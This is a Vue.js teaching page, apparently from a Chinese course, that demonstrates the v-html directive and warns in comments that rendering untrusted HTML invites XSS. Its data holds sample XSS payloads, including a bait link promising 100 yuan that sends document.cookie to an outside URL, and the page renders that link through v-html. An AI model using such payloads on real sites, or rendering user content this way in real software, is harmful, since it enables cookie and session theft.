<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>2.v-html指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
		<!-- 
			v-html指令:
				1.作用:向指定节点中渲染包含html结构的内容。
				2.与插值语法的区别:
					(1).v-html会替换掉节点中所有的内容，{{xx}}则不会
					(2).v-html可以识别htm1结构。
				3.严重注意:v-html有安全性问题!!!!
					(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSs攻击。
					(2).一定要在可信的内容上使用v-htm1，永不要用在用户提交的内容上!
		 -->
	</head>
	<body>
		<div id="root">
			<h1>你好，{{name}}</h1>
			<h1 v-html="str"></h1>
			<h1 v-html="str3"></h1>
		</div>
	</body>
	<script type="text/javascript">
		new Vue({
			el: '#root',
			data: {
				name: '尚硅谷',
				str: "你好",
				str2: '<a href=javascript:alert(1)>点我领100块钱</a>',
				/* location.href也可以跳转 */
				str3: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点我领100块钱</a>'
			}
		})
	</script>
</html>